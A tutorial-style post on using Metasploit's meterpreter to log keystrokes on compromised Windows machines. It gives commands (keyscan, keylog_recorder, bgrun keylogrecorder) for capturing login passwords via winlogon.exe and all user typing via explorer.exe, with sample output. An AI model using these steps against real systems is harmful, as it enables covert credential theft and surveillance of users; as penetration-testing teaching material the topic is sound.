METASPLOIT - GETTING KEYSTROKES

Metasploit is a great tool, and it allows you to not only do some cool things, but being able to do those cool things in a useful way. A good example is when I was looking at dumping the keystrokes from a bunch of compromised machines. Now just a couple of things to bear in mind:

- I am using metasploit 4.5.0 for this
- This is obviously aimed at windows
- I am using the awesome meterpreter payload
- I assume you have already exploited the host

Now that have that out the way, lets start with the simplest way of dumping keystrokes. Once meterpreter has loaded, you can type "*help*" and a subset of the options will be this..

```
Stdapi: User interface Commands
===============================
    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components
```

And yes, it is this simple.

```
meterpreter > keyscan_start
meterpreter > keyscan_dump
Dumping captured keystrokes...
ipconfig <Return> dir <Return>
meterpreter >
```

So for those not masters of the obvious, "*keyscan_start*" starts the keylogging function, "*keyscan_dump*" dumps whatever the user has typed since the last time you used "*keyscan_dump*" and "*keyscan_stop*" stops the keylogging function. Now, there is something else I need to mention. Depending how you exploited the target, you may be running meterpreter at anything from user-level to SYSTEM-level privileges. This will impact what you can see when you do the keylogging, for example "*winlogon.exe*" runs as SYSTEM while "*explorer.exe*" will run at the logged on user level. Just something to bear in mind.

Ok, so this simple keylogging is great for doing demonstrations or presentations, but not so useful in real-life when you multiple targets and are not fond of swopping between sessions and hitting the up-arrow. So lets try something else.And this is still easy..

```
meterpreter > run post/windows/capture/keylog_recorder

[*] Executing module against BOBWRK
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to xxx/.msf4/loot/192.168.0.1_host.windows.key_030845.txt
[*] Recording keystrokes...
```

..and when you are done, use *Cntrl-C* to stop the process..

```
[*] Saving last few keystrokes...
[*] Interrupt
[*] Stopping keystroke sniffer...
meterpreter >
```

Now either during the process or afterwards you can check the log file, and you will see something like..

```
Keystroke log started at 2012-10-22 14:54:24 -0400
dir <Return>
ping bob <Return>
 <Ctrl>
```

We are doing better. We do not have to keep on using "*keyscan_dump*", we can just monitor the log file. But there are still some problems. When you use this post script it hogs your session, so you cannot do anything else. This also means you cannot background the session. So for targeting multiple targets it is still not all we would want. Lets solve those problems..

```
meterpreter > bgrun keylogrecorder -c 1 -t 15
[*] Executed Meterpreter with Job ID 1
meterpreter > [*]       winlogon.exe Process found, migrating into 1668
[*] Migration Successful!!
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to xxx/.msf4/logs/scripts/
keylogrecorder/192.168.0.1_20121022.9870.txt
[*] Recording
```

This is where those privilege levels come into play. You see, the flag "*-c 1*" is telling the script that I only care about the user's windows password, so it hooks the "*winlogon.exe*" process which handles that and which runs as SYSTEM. What you will see in the log file is something like this..

```
<LWin>  <Ctrl>  <LCtrl>  <Alt>  <LMenu>  <Delete> password01
```

..but you will not see anything else. To see that you need to change how you call the script..

```
meterpreter > bgrun keylogrecorder -c 0 -t 15
[*] Executed Meterpreter with Job ID 2
meterpreter > [*]       explorer.exe Process found, migrating into 2212
[*] Migration Successful!!
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to xxx/.msf4/logs/scripts/
keylogrecorder/192.168.0.1_20121022.1234.txt
[*] Recording
```

As you can see, using "*-c 0*" tell the script to hook "*explorer.exe*", this means you start seeing all users keystrokes..

```
help <Return> dir <Return> tree <Return> dir <Return> cd <Return>
dir <Return> help <Return> tree <Return>
```

And you can stop the background process using..

```
meterpreter > bgkill 2
[*] Killing background job 2...
```

For all the script options check out..

```
"-h" => [ false, "Help menu." ],
"-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ],
"-c" => [ true, "Type of key capture. (0) for user key presses or (1) for winlogon credential capture Default
is 0." ],
"-l" => [ false, "Lock screen when capturing Winlogon credentials."]
Address : <https://bitbucket.org/jrossi/metasploit/src/051868ee9a9c/scripts/meterpreter/keylogrecorder.rb>
```

The last method allows us to start keylogging and backgrounds the process, and depending on what are are looking for through keylogging you are better target the process. We can get it started and then carry on to other targets or other work on the target.

Final Words

This is a very small exmaple of how metasploit is not only awesome but allows you to accomplish your objective in various ways. Take the time to play around with the framework, have fun and learn.